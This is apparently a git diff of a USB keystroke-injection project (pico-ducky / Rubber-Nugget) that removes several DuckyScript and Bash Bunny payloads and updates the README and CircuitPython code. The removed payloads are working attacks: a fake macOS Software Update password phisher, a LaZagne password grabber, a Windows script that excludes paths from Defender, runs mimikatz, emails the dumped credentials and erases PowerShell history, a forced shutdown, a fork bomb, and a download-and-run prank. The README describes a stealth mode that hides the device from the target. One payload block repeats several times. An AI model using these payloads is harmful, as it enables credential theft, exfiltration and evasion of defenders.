REM Author: Alex Lynd
REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload.
REM Target: Linux (Bash)
REM Props: Hak5, HakCat
REM Version: 1.0
REM Category: Prank
CTRL ALT T
DELAY 2000
REM disable mouse
STRING xinput float 12
ENTER
REM download annoying payload
REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
ENTER
DELAY 1000
STRING chmod +x linux-color-flasher.sh
ENTER
STRING ./linux-color-flasher.sh &
ENTER
DELAY 1000
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
ENTER
DELAY 3000
SPACE
DELAY 1000
STRING F

View File

@@ -1,34 +0,0 @@
REM Title: PwnKit Cred Changer
REM Author: Alex Lynd
REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload.
REM Target: Linux (Bash)
REM Props: Hak5, HakCat
REM Version: 1.0
REM Category: Prank
CTRL ALT T
DELAY 2000
REM disable mouse
STRING xinput float 12
ENTER
REM download annoying payload
REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
ENTER
DELAY 1000
STRING chmod +x linux-color-flasher.sh
ENTER
STRING ./linux-color-flasher.sh &
ENTER
DELAY 1000
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
ENTER
DELAY 3000
SPACE
DELAY 1000
STRING F

View File

@@ -1,34 +0,0 @@
REM Title: PwnKit Cred Changer
REM Author: Alex Lynd
REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload.
REM Target: Linux (Bash)
REM Props: Hak5, HakCat
REM Version: 1.0
REM Category: Prank
CTRL ALT T
DELAY 2000
REM disable mouse
STRING xinput float 12
ENTER
REM download annoying payload
REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
ENTER
DELAY 1000
STRING chmod +x linux-color-flasher.sh
ENTER
STRING ./linux-color-flasher.sh &
ENTER
DELAY 1000
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
ENTER
DELAY 3000
SPACE
DELAY 1000
STRING F

View File

@@ -1,34 +0,0 @@
REM Title: PwnKit Cred Changer
REM Author: Alex Lynd
REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload.
REM Target: Linux (Bash)
REM Props: Hak5, HakCat
REM Version: 1.0
REM Category: Prank
CTRL ALT T
DELAY 2000
REM disable mouse
STRING xinput float 12
ENTER
REM download annoying payload
REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
ENTER
DELAY 1000
STRING chmod +x linux-color-flasher.sh
ENTER
STRING ./linux-color-flasher.sh &
ENTER
DELAY 1000
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
ENTER
DELAY 3000
SPACE
DELAY 1000
STRING F

View File

@@ -1,34 +0,0 @@
REM Title: PwnKit Cred Changer
REM Author: Alex Lynd
REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload.
REM Target: Linux (Bash)
REM Props: Hak5, HakCat
REM Version: 1.0
REM Category: Prank
CTRL ALT T
DELAY 2000
REM disable mouse
STRING xinput float 12
ENTER
REM download annoying payload
REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
ENTER
DELAY 1000
STRING chmod +x linux-color-flasher.sh
ENTER
STRING ./linux-color-flasher.sh &
ENTER
DELAY 1000
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
ENTER
DELAY 3000
SPACE
DELAY 1000
STRING F

View File

@@ -1,49 +0,0 @@
#!/bin/bash
#
# Title: Mac Password Phisher
# Author: Ahhh
# Version: 1.0
#
# Prompts for user password, writes response to the bunny
#
# Blue...............Starting
# Amber..............Executing payload
# Green..............Finished
#
LED B
LANGUAGE='us'
lootdir=loot/MacLoot
# Gimme a Keyboard please. Thanks.
ATTACKMODE HID STORAGE
LED R G
mkdir -p /root/udisk/$lootdir
# Get a terminal
QUACK DELAY 400
QUACK GUI SPACE
QUACK DELAY 300
QUACK STRING terminal
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 400
# Make lootdir
QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/phish
QUACK ENTER
QUACK DELAY 200
QUACK ENTER
# Execute Payload
QUACK STRING osascript -e \'tell app \"System Preferences\" to activate\' -e \'tell app \"System Preferences\" to activate\' -e \'tell app \"System Preferences\" to display dialog \"Software Update requires that you type your password to apply changes.\" \& return \& return default answer \"\" with icon 1 with hidden answer with title \"Software Update\"\'\>/Volumes/BashBunny/$lootdir/phish/pw.txt\; sleep 20\; killall Terminal\;
QUACK ENTER
QUACK DELAY 1000
# Sync filesystem
sync
# Green is the official Light of "finished"
LED G

View File

@@ -1,44 +0,0 @@
#!/bin/bash
#
# Title: Mac Password Grabber
# Author: Overtimedev
# Version: 1.0
#
# Steals Passwords Mac using laZagne.py then stashes them in /root/udisk/loot/MacPass
# s(Replace PASSWORD, with your vicims mac computer password in payload.txt)
#
# Amber..............Executing payload
# Green..............Finished
#
LED G R
ATTACKMODE HID STORAGE
lootdir=loot/MacPass
mkdir -p /root/udisk/$lootdir
QUACK GUI SPACE
QUACK DELAY 1000
QUACK STRING terminal
QUACK ENTER
QUACK DELAY 3000
QUACK STRING cd /Volumes/BashBunny/
QUACK ENTER
QUACK DELAY 1000
QUACK STRING python get-pip.py
QUACK ENTER
QUACK DELAY 3000
QUACK STRING pip install -r requirements.txt
QUACK ENTER
QUACK DELAY 3000
QUACK STRING python laZagne.py all -password PASSWORD -oN -output loot/MacPass
QUACK ENTER
QUACK DELAY 10000
QUACK STRING killall Terminal
QUACK ENTER
# Sync filesystem
sync
# Green LED for finished
LED G

View File

@@ -1,96 +0,0 @@
REM Title: windows password grabber
REM Arthor makozort, https://github.com/makozort
REM Target: windows 10 (with admin access), might work with windows 7 idk
REM THIS IS FOR AUTHORISED USE ON MACHINES YOU EITHER OWN OR HAVE BEEN GIVEN ACCESS TO PEN TEST, MAKOZORT IS NO LIABLE FOR ANY MISUSE OF THIS SCRIPT
REM --------------set default delay based on targets computer speed, 350 is around mid range (I think)
DEFAULT_DELAY 350
REM -------------first delay is 1 second (you may need more) to let windows set up the "keyboard"
DELAY 1000
REM ------------open powershell as admin and set an exclusion path in the C:\Users path
GUI r
STRING powershell
CTRL-SHIFT ENTER
DELAY 600
ALT y
STRING Set-MpPreference -ExclusionPath C:\Users
ENTER
STRING exit
ENTER
REM -------------download mimikatz
GUI r
STRING cmd
CTRL-SHIFT ENTER
DELAY 600
ALT y
STRING powershell (new-object System.Net.WebClient).DownloadFile('LINK TO MIMIKATZ.EXE DOWNLOAD HERE','%temp%\pw.exe')
ENTER
REM ------------run the following mimikatz commands and print results in new txt file
DELAY 4000
STRING %TEMP%\pw.exe > c:\pwlog.txt & type pwlog.txt;
ENTER
STRING privilege::debug
ENTER
STRING sekurlsa::logonPasswords full
ENTER
STRING exit
ENTER
REM< --------- delete mimikatz
STRING del %TEMP%\pw.exe
ENTER
STRING exit
ENTER
REM -------------email the pwlog.txt to your email
GUI r
STRING powershell
CTRL-SHIFT ENTER
DELAY 600
ALT y
STRING Remove-MpPreference -ExclusionPath C:\Users
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('THE-PART-OF-YOUR-EMAIL-BEFORE-THE-@
SHIFT 2
STRING gmail.com', 'PASSWORDHERE');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'THE-PART-OF-YOUR-EMAIL-BEFORE-THE-@
SHIFT 2
STRING gmail.com'
ENTER
STRING $ReportEmail.To.Add('THE-PART-OF-RECEIVERS-EMAIL-BEFORE-THE-@
SHIFT 2
STRING gmail.com')
ENTER
STRING $ReportEmail.Subject = 'Hello from the ducky'
ENTER
STRING $ReportEmail.Body = 'Attached is your duck report.'
ENTER
STRING $ReportEmail.Attachments.Add('c:\pwlog.txt')
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 4000
STRING exit
ENTER
REM ------cleanup time
GUI r
STRING powershell
CTRL-SHIFT ENTER
DELAY 600
ALT y
REM ----------delete the txt file
STRING del c:\pwlog.txt
ENTER
REM -------remove powershell history (this probably wont be enough to remove all traces of you, this is just to prevent inital investigations
STRING Remove-Item (Get-PSreadlineOption).HistorySavePath
ENTER
STRING exit
ENTER
REM ------lock the pc
GUI l

View File

@@ -1,7 +0,0 @@
WINDOWS R
DELAY 250
STRING cmd
ENTER
DELAY 300
STRING shutdown /s /f /t 0
ENTER

View File

@@ -1,14 +0,0 @@
REM HTML Fork Bomb by Jonny Banana
REM https://github.com/JonnyBanana/Rubber-Ducky_HTML_Fork-Bomb
DELAY 2000
CONTROL ESCAPE
DELAY 200
STRING C:\Program Files\Internet Explorer\iexplore.exe https://jonnybanana.github.io/HTML-Fork-Bomb.github.io/
DELAY 200
ENTER
REM set a long delay to give time to this disgusting browser
DELAY 1000
REM it's time to enable Pop-Up
TAB
DELAY 200
ENTER

186
README.md
View File

@@ -1,13 +1,11 @@
<h1 align="center">Rubber-Nugget</h1>
<h1 align="center">pico-ducky</h1>
<div align="center">
<strong>Deploy up to 5 different Duckyscript payloads with an S2 Wi-Fi Nugget</strong>
<strong>Make a cheap but powerful USB Rubber Ducky with a Raspberry Pi Pico</strong>
</div>
<br />
<p align="center">
<img src="https://cdn.shopify.com/s/files/1/2779/8142/products/S2-Nugget_1024x1024.png" alt="S2 Nugget" title="S2 Nugget" width="500"/>
</p>
<div align="center">
<img alt="GitHub code size in bytes" src="https://img.shields.io/github/languages/code-size/dbisu/pico-ducky">
<img alt="GitHub license" src="https://img.shields.io/github/license/dbisu/pico-ducky">
@@ -18,64 +16,150 @@
<br />
This is a port of the Pico-Ducky project by Dave Bailey (dbisu, @daveisu), converted to run on the S2 Wi-Fi Nugget
## Quick Start Guide
Install and have your USB Rubber Ducky working in less than 5 minutes.
You can buy one here: (https://retia.io/products/wi-fi-nugget-s2-nugget-esp32s2).
1. Download the latest release from the [Releases](https://github.com/dbisu/pico-ducky/releases) page.
2. Plug the device into a USB port while holding the boot button. It will show up as a removable media device named RPI-RP2.
3. Install CircutlPython on the Pico or Pico W
If using a Pico board:
Copy the adafruit-circuitpython-raspberry_pi_pico-en_US-8.0.0.uf2 file to the root of the Pico (RPI-RP2). The device will reboot and after a second or so, it will reconnect as CIRCUITPY.
If using a Pico W board:
Copy the adafruit-circuitpython-raspberry_pi_pico_w-en_US-8.0.0.uf2 file to the root of the Pico (RPI-RP2). The device will reboot and after a second or so, it will reconnect as CIRCUITPY.
4. Copy the lib folder to the root of the CIRCUITPY
5. Copy *.py to the root of the CIRCUITPY
6. Follow the instructions in README.md to enter setup mode
7. Copy your payload as payload.dd to the root of the CIRCUITPY
8. Unplug the device from the USB port and remove the setup jumper.
Enjoy your Pico-Ducky.
## Setup mode
To edit the payload, enter setup mode by connecting the pin 1 (`GP0`) to pin 3 (`GND`), this will stop the pico-ducky from injecting the payload in your own machine.
The easiest way to do so is by using a jumper wire between those pins as seen bellow.
![Setup mode with a jumper](images/setup-mode.png)
## USB enable/disable mode
If you need the pico-ducky to not show up as a USB mass storage device for stealth, follow these instructions.
- Enter setup mode.
- Copy your payload script to the pico-ducky.
- Disconnect the pico from your host PC.
- Connect a jumper wire between pin 18 (`GND`) and pin 20 (`GPIO15`).
This will prevent the pico-ducky from showing up as a USB drive when plugged into the target computer.
- Remove the jumper and reconnect to your PC to reprogram.
Pico: The default mode is USB mass storage enabled.
Pico W: The default mode is USB mass storage **disabled**
![USB enable/disable mode](images/usb-boot-mode.png)
## Major changes:
-----
To hide the USB drive, hold the DOWN button when plugging in the S2 Nugget and release when the menu face appears.
# Full Install Instructions
To auto-inject payload.dd, hold the RIGHT button when plugging in the S2 Nugget.
Install and have your USB Rubber Ducky working in less than 5 minutes.
Once the menu face appears, you can run any one of 4 duckyscript payloads:
* press the UP button to run payload1.dd
* press the DOWN button to run payload2.dd
* press the LEFT button to run payload3.dd
* press and the RIGHT button to run payload4.dd
1. Clone the repo to get a local copy of the files. `git clone https://github.com/dbisu/pico-ducky.git`
To add new payloads, replace the payload.dd files on the CircuitPython drive.
2. Download [CircuitPython for the Raspberry Pi Pico](https://circuitpython.org/board/raspberry_pi_pico/). *Updated to 8.0.0
Download [CircuitPython for the Raspberry Pi Pico W](https://circuitpython.org/board/raspberry_pi_pico_w/). *Updated to 8.0.0
## Install
3. Plug the device into a USB port while holding the boot button. It will show up as a removable media device named `RPI-RP2`.
Install and have your USB Rubber Nugget working in less than 5 minutes.
4. Copy the downloaded `.uf2` file to the root of the Pico (`RPI-RP2`). The device will reboot and after a second or so, it will reconnect as `CIRCUITPY`.
1. Download [CircuitPython for the S2 Mini](https://circuitpython.org/board/lolin_s2_mini/). *Updated to 7.0.0
5. Download `adafruit-circuitpython-bundle-8.x-mpy-YYYYMMDD.zip` [here](https://github.com/adafruit/Adafruit_CircuitPython_Bundle/releases/latest) and extract it outside the device.
2. Plug the device into a USB port while holding the RESET button, click the 0 button, then release the RESET button. It will show up as a removable media device named `S2MINIBOOT`.
6. Navigate to `lib` in the recently extracted folder and copy `adafruit_hid` to the `lib` folder on your Raspberry Pi Pico.
3. Copy the downloaded `.uf2` file to the root of the S2 Mini (`S2MINIBOOT`). The device will reboot and after a second or so, it will reconnect as `CIRCUITPY`.
7. Copy `adafruit_debouncer.mpy` and `adafruit_ticks.mpy` to the `lib` folder on your Raspberry Pi Pico.
4. Download and extract the .ZIP file for this project on your computer.
8. Copy `asyncio` to the `lib` folder on your Pico.
5. Copy the following files and folders to your Nugget: `code.py`, `boot.py`, `lib`, `faces`, `payload.dd`, `payload1.dd`, `payload2.dd`, `payload3.dd`, `payload4.dd`
9. Copy `adafruit_wsgi` to the `lib` folder on your Pico.
6. Find a script [here](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads) or [create your own one using Ducky Script](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript) and save it as `payload1.dd` in the S2 Nugget. You can add to 4 payloads the same way, adding a number to each payload file name.
10. Copy `boot.py` from your clone to the root of your Pico.
7. If you want device to load in stealth mode, hold the down button when plugging in your Nugget to prevent the USB drive from appearing.
11. Copy `duckyinpython.py`, `code.py`, `webapp.py`, `wsgiserver.py` to the root folder of the Pico.
### Attack mode
12. *For Pico W Only* Create the file `secrets.py` in the root of the Pico W. This contains the AP name and password to be created by the Pico W.
`secrets = { 'ssid' : "BadAPName", 'password' : "badpassword" }`
To edit a payload, setup mode is entered automatically when inserted. You can deploy a payload at any time by pressing one of the 4 payload buttons.
13. Find a script [here](https://github.com/hak5/usbrubberducky-payloads) or [create your own one using Ducky Script](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world) and save it as `payload.dd` in the Pico. Currently, pico-ducky only supports DuckyScript 1.0, not 3.0.
If you want to inject a script with maximum speed, hold the RIGHT button down when inserting your S2 Nugget into the target computer.
14. Be careful, if your device isn't in [setup mode](#setup-mode), the device will reboot and after half a second, the script will run.
This will cause payload1.dd to be automatically injected as soon as the S2 Nugget is powered up.
15. **Please note:** by default Pico W will not show as a USB drive
### USB enable/disable mode
### Pico W Web Service
The Pico W AP defaults to ip address `192.168.4.1`. You should be able to find the webservice at `http://192.168.4.1:80`
If you need the S2 Nugget to not show up as a USB mass storage device for stealth, follow these instructions:
The following endpoints are available on the webservice:
```
/
/new
/ducky
/edit/<filename>
/write/<filename>
/run/<filename>
```
Hold the DOWN button when plugging in your S2 Nugget. It should load the menu and inject payloads, but not appear as a USB device.
API endpoints
```
/api/run/<filenumber>
```
Reset the board without holding down the button to make the device appear as a USB drive again.
## Setup mode
### Changing Keyboard Layouts
To edit the payload, enter setup mode by connecting the pin 1 (`GP0`) to pin 3 (`GND`), this will stop the pico-ducky from injecting the payload in your own machine.
The easiest way to do so is by using a jumper wire between those pins as seen bellow.
![Setup mode with a jumper](images/setup-mode.png)
## USB enable/disable mode
If you need the pico-ducky to not show up as a USB mass storage device for stealth, follow these instructions.
- Enter setup mode.
- Copy your payload script to the pico-ducky.
- Disconnect the pico from your host PC.
- Connect a jumper wire between pin 18 (`GND`) and pin 20 (`GPIO15`).
This will prevent the pico-ducky from showing up as a USB drive when plugged into the target computer.
- Remove the jumper and reconnect to your PC to reprogram.
Pico: The default mode is USB mass storage enabled.
Pico W: The default mode is USB mass storage **disabled**
![USB enable/disable mode](images/usb-boot-mode.png)
## Multiple payloads
Multiple payloads can be stored on the Pico and Pico W.
To select a payload, ground one of these pins:
- GP4 - payload.dd
- GP5 - payload2.dd
- GP10 - payload3.dd
- GP11 - payload4.dd
## Changing Keyboard Layouts
Copied from [Neradoc/Circuitpython_Keyboard_Layouts](https://github.com/Neradoc/Circuitpython_Keyboard_Layouts/blob/main/PICODUCKY.md)
#### How to use one of these layouts with the RubberNugget repository.
#### How to use one of these layouts with the pico-ducky repository.
**Go to the [latest release page](https://github.com/Neradoc/Circuitpython_Keyboard_Layouts/releases/latest), look if your language is in the list.**
@@ -83,7 +167,7 @@ Copied from [Neradoc/Circuitpython_Keyboard_Layouts](https://github.com/Neradoc/
Download the `py` zip, named `circuitpython-keyboard-layouts-py-XXXXXXXX.zip`
**NOTE: You can use the mpy version targetting the version of Circuitpython that is on the device, but on the S2 Nugget you don't need it - they only reduce file size and memory use on load, which the S2 Nugget has plenty of.**
**NOTE: You can use the mpy version targetting the version of Circuitpython that is on the device, but on Raspberry Pi Pico you don't need it - they only reduce file size and memory use on load, which the pico has plenty of.**
#### If your language/layout is not in the bundle
@@ -100,7 +184,6 @@ For a language `LANG`, copy the following files from the zip's `lib` folder to t
**DO NOT** change the names or extensions of the files. Just pick the right ones.
Replace `LANG` with the letters for your language of choice.
- `keyboard_layout.py`
- `keyboard_layout_win_LANG.py`
- `keycode_win_LANG.py`
@@ -110,7 +193,7 @@ This is what it should look like **if your language is French for example**.
![CIRCUITPY drive screenshot](https://github.com/Neradoc/Circuitpython_Keyboard_Layouts/raw/main/docs/drive_pico_ducky.png)
#### Modify the RubberNugget code to use your language file:
#### Modify the pico-ducky code to use your language file:
At the start of the file comment out these lines:
@@ -126,8 +209,33 @@ from keyboard_layout_win_LANG import KeyboardLayout
from keycode_win_LANG import Keycode
```
##### Example: Set to German Keyboard (WIN_DE)
```py
from keyboard_layout_win_de import KeyboardLayout
from keycode_win_de import Keycode
```
Copy the files keyboard_layout_win_de.mpy and keycode_win_de.mpy to the /lib folder on the Pico board
```
adafruit_hid/
keyboard_layout_win_de.mpy
keycode_win_de.mpy
```
## Useful links and resources
### How to recover your Pico if it becomes corrupted or doesn't boot.
[Reset Instructions](RESET.md)
### Installation Tool
[raspberrydeveloper](https://github.com/raspberrydeveloper) Created a tool to convert a blank RPi Pico to a ducky.
You can find the tool [here](https://github.com/raspberrydeveloper/pyducky)
### Docs
[CircuitPython](https://circuitpython.readthedocs.io/en/6.3.x/README.html)

7
RESET.md Normal file
View File

@@ -0,0 +1,7 @@
# Instructions on how to reset a Raspberry Pi Pico
Follow these instructions if your Pico ends up in an odd state
1. Download the reset firmware from [flash_nuke.uf2](https://datasheets.raspberrypi.com/soft/flash_nuke.uf2)
2. While holding the BOOTSEL button on the Pico, plug in the USB cable to your computer.
3. When the RPI-RP2 drive shows up on your computer, copy the flash_nuke.uf2 file to the Pico
4. After the device reboots, follow the Install instructions [here](https://github.com/dbisu/pico-ducky/blob/main/README.md)

38
boot.py
View File

@@ -1,21 +1,41 @@
# License : GPLv2.0
# copyright (c) 2023 Dave Bailey
# Author: Dave Bailey (dbisu, @daveisu)
# Pico and Pico W board support
from board import *
import board
import digitalio
import storage
import board
import time
time.sleep(3)
noStorageStatus = False
noStoragePin = digitalio.DigitalInOut(board.IO18) ## If the down button is pressed on the S2 Nugget
noStorage = False
noStoragePin = digitalio.DigitalInOut(GP15)
noStoragePin.switch_to_input(pull=digitalio.Pull.UP)
noStorageStatus = not noStoragePin.value
noStorageStatus = noStoragePin.value
if(noStorageStatus == True):
# If GP15 is not connected, it will default to being pulled high (True)
# If GP is connected to GND, it will be low (False)
# Pico:
# GP15 not connected == USB visible
# GP15 connected to GND == USB not visible
# Pico W:
# GP15 not connected == USB NOT visible
# GP15 connected to GND == USB visible
if(board.board_id == 'raspberry_pi_pico'):
# On Pi Pico, default to USB visible
noStorage = not noStorageStatus
elif(board.board_id == 'raspberry_pi_pico_w'):
# on Pi Pico W, default to USB hidden by default
# so webapp can access storage
noStorage = noStorageStatus
if(noStorage == True):
# don't show USB drive to host PC
storage.disable_usb_drive()
print("Disabling USB drive")
else:
# normal boot
print("USB drive enabled")
# Write your code here :-)

276
code.py
View File

@@ -1,150 +1,28 @@
# License : GPLv2.0
# copyright (c) 2021 Dave Bailey
# copyright (c) 2023 Dave Bailey
# Author: Dave Bailey (dbisu, @daveisu)
# Nugget Fork: Kody Kinzie @skickar
# Now It Runs One Of 5 Payloads!
# Pico and Pico W board support
import supervisor
import usb_hid
from adafruit_hid.keyboard import Keyboard
import board
# comment out these lines for non_US keyboards
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS as KeyboardLayout
from adafruit_hid.keycode import Keycode
from digitalio import DigitalInOut, Pull
from adafruit_debouncer import Debouncer
from board import *
import busio
import displayio
import adafruit_framebuf
import adafruit_displayio_sh1106
import time
import digitalio
from board import *
import board
import duckyinpython
from duckyinpython import *
if(board.board_id == 'raspberry_pi_pico_w'):
import wifi
import socketpool
import adafruit_requests
import ssl
from webapp import *
## Screen setup and function to change image on the screen
displayio.release_displays()
WIDTH = 130 # Change these to the right size for your display!
HEIGHT = 64
BORDER = 1
i2c = busio.I2C(SCL, SDA) # Create the I2C interface.
display_bus = displayio.I2CDisplay(i2c, device_address=0x3c)
display = adafruit_displayio_sh1106.SH1106(display_bus, width=WIDTH, height=HEIGHT) # Create the SH1106 OLED class.
def NugEyes(IMAGE): ## Make a function to put eyes on the screen
bitmap = displayio.OnDiskBitmap(IMAGE) # Setup the file as the bitmap data source
tile_grid = displayio.TileGrid(bitmap, pixel_shader=bitmap.pixel_shader) # Create a TileGrid to hold the bitmap
group = displayio.Group() # Create a Group to hold the TileGrid
group.append(tile_grid) # Add the TileGrid to the Group
display.show(group) # Add the Group to the Display
NugEyes("/faces/menu.bmp")
# Button 1 = UP
# Button 2 = DOWN
# Button 3 = LEFT
# Button 4 = RIGHT
pins = (board.IO9, board.IO18, board.IO11, board.IO7)
buttons = [] # will hold list of Debouncer objects
for pin in pins: # set up each pin
tmp_pin = DigitalInOut(pin) # defaults to input
tmp_pin.pull = Pull.UP # turn on internal pull-up resistor
buttons.append( Debouncer(tmp_pin) )
# uncomment these lines for non_US keyboards
# replace LANG with appropriate language
#from keyboard_layout_win_LANG import KeyboardLayout
#from keycode_win_LANG import Keycode
duckyCommands = {
'WINDOWS': Keycode.WINDOWS, 'GUI': Keycode.GUI,
'APP': Keycode.APPLICATION, 'MENU': Keycode.APPLICATION, 'SHIFT': Keycode.SHIFT,
'ALT': Keycode.ALT, 'CONTROL': Keycode.CONTROL, 'CTRL': Keycode.CONTROL,
'DOWNARROW': Keycode.DOWN_ARROW, 'DOWN': Keycode.DOWN_ARROW, 'LEFTARROW': Keycode.LEFT_ARROW,
'LEFT': Keycode.LEFT_ARROW, 'RIGHTARROW': Keycode.RIGHT_ARROW, 'RIGHT': Keycode.RIGHT_ARROW,
'UPARROW': Keycode.UP_ARROW, 'UP': Keycode.UP_ARROW, 'BREAK': Keycode.PAUSE,
'PAUSE': Keycode.PAUSE, 'CAPSLOCK': Keycode.CAPS_LOCK, 'DELETE': Keycode.DELETE,
'END': Keycode.END, 'ESC': Keycode.ESCAPE, 'ESCAPE': Keycode.ESCAPE, 'HOME': Keycode.HOME,
'INSERT': Keycode.INSERT, 'NUMLOCK': Keycode.KEYPAD_NUMLOCK, 'PAGEUP': Keycode.PAGE_UP,
'PAGEDOWN': Keycode.PAGE_DOWN, 'PRINTSCREEN': Keycode.PRINT_SCREEN, 'ENTER': Keycode.ENTER,
'SCROLLLOCK': Keycode.SCROLL_LOCK, 'SPACE': Keycode.SPACE, 'TAB': Keycode.TAB,
'A': Keycode.A, 'B': Keycode.B, 'C': Keycode.C, 'D': Keycode.D, 'E': Keycode.E,
'F': Keycode.F, 'G': Keycode.G, 'H': Keycode.H, 'I': Keycode.I, 'J': Keycode.J,
'K': Keycode.K, 'L': Keycode.L, 'M': Keycode.M, 'N': Keycode.N, 'O': Keycode.O,
'P': Keycode.P, 'Q': Keycode.Q, 'R': Keycode.R, 'S': Keycode.S, 'T': Keycode.T,
'U': Keycode.U, 'V': Keycode.V, 'W': Keycode.W, 'X': Keycode.X, 'Y': Keycode.Y,
'Z': Keycode.Z, 'F1': Keycode.F1, 'F2': Keycode.F2, 'F3': Keycode.F3,
'F4': Keycode.F4, 'F5': Keycode.F5, 'F6': Keycode.F6, 'F7': Keycode.F7,
'F8': Keycode.F8, 'F9': Keycode.F9, 'F10': Keycode.F10, 'F11': Keycode.F11,
'F12': Keycode.F12,
}
def convertLine(line):
newline = []
print(line)
# loop on each key - the filter removes empty values
for key in filter(None, line.split(" ")):
key = key.upper()
# find the keycode for the command in the list
command_keycode = duckyCommands.get(key, None)
if command_keycode is not None:
# if it exists in the list, use it
newline.append(command_keycode)
elif hasattr(Keycode, key):
# if it's in the Keycode module, use it (allows any valid keycode)
newline.append(getattr(Keycode, key))
else:
# if it's not a known key name, show the error for diagnosis
print(f"Unknown key: <{key}>")
print(newline)
return newline
def runScriptLine(line):
for k in line:
kbd.press(k)
kbd.release_all()
def sendString(line):
layout.write(line)
def parseLine(line):
global defaultDelay
if(line[0:3] == "REM"):
# ignore ducky script comments
pass
elif(line[0:5] == "DELAY"):
time.sleep(float(line[6:])/1000)
elif(line[0:6] == "STRING"):
sendString(line[7:])
elif(line[0:13] == "DEFAULT_DELAY"):
defaultDelay = int(line[14:]) * 10
elif(line[0:12] == "DEFAULTDELAY"):
defaultDelay = int(line[13:]) * 10
else:
newScriptLine = convertLine(line)
runScriptLine(newScriptLine)
def injectPayload(payloadNumber):
f = open(duckyScriptPath[payloadNumber],"r",encoding='utf-8')
print("Running payload.txt")
previousLine = ""
duckyScript = f.readlines()
for line in duckyScript:
line = line.rstrip()
if(line[0:6] == "REPEAT"):
for i in range(int(line[7:])):
#repeat the last command
parseLine(previousLine)
time.sleep(float(defaultDelay)/1000)
else:
parseLine(line)
previousLine = line
time.sleep(float(defaultDelay)/1000)
print("Done")
NugEyes("/faces/menu.bmp")
# sleep at the start to allow the device to be recognized by the host computer
time.sleep(.5)
def startWiFi():
import ipaddress
# Get wifi details and more from a secrets.py file
try:
from secrets import secrets
@@ -152,92 +30,56 @@ def startWiFi():
print("WiFi secrets are kept in secrets.py, please add them there!")
raise
notConnected = True
while(notConnected == True):
try:
print("Connect wifi")
wifi.radio.connect(secrets['ssid'],secrets['password'], timeout=30)
notConnected = False
#wifi.radio.start_ap(secrets['ssid'],secrets['password'])
HOST = repr(wifi.radio.ipv4_address)
PORT = 80
#wifi.radio.connect(secrets['ssid'],secrets['password'])
wifi.radio.start_ap(secrets['ssid'],secrets['password'])
HOST = repr(wifi.radio.ipv4_address_ap)
PORT = 80 # Port to listen on
print(HOST,PORT)
except ConnectionError:
print("No Wifi Network found, retrying in 5 sec")
time.sleep(5)
def connectRemote():
startWiFi()
host = repr(wifi.radio.ipv4_gateway)
# turn off automatically reloading when files are written to the pico
#supervisor.disable_autoreload()
supervisor.runtime.autoreload = False
global requests
pool = socketpool.SocketPool(wifi.radio)
requests = adafruit_requests.Session(pool, ssl.create_default_context())
readButtons()
while True:
remoteLoop(host)
def sendRunPayload(host, buttonNum):
global requests
run_api_url = "http://"+host+"/api/run/"+str(buttonNum)
print("Sending ", run_api_url)
NugEyes("/faces/boingo.bmp")
data = b' '
r = requests.get(run_api_url,data=data)
def readButtons():
buttonNum = -1
for i in range(len(buttons)):
buttons[i].update()
if buttons[i].fell:
print("button",i,"pressed!")
if buttons[i].rose:
print("button",i,"released!")
buttonNum = i + 1
return(buttonNum)
def remoteLoop(host):
buttonNum = readButtons()
#print(buttonNum)
if(buttonNum > 0):
sendRunPayload(host, buttonNum)
NugEyes("/faces/remote-menu.bmp")
if(board.board_id == 'raspberry_pi_pico'):
led = pwmio.PWMOut(board.LED, frequency=5000, duty_cycle=0)
elif(board.board_id == 'raspberry_pi_pico_w'):
led = digitalio.DigitalInOut(board.LED)
led.switch_to_output()
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayout(kbd)
duckyScriptPath = ["payload1.txt", "payload2.txt", "payload3.txt", "payload4.txt", "payload.txt"]
# sleep at the start to allow the device to be recognized by the host computer
time.sleep(.5)
defaultDelay = 0
remoteStatus = False
remoteEnablePin = buttons[3] # Right
remoteStatus = not remoteEnablePin.value
defaultDelay = 0
print(remoteStatus)
readButtons()
if(remoteStatus == True):
progStatus = False
progStatus = getProgrammingStatus()
print("progStatus", progStatus)
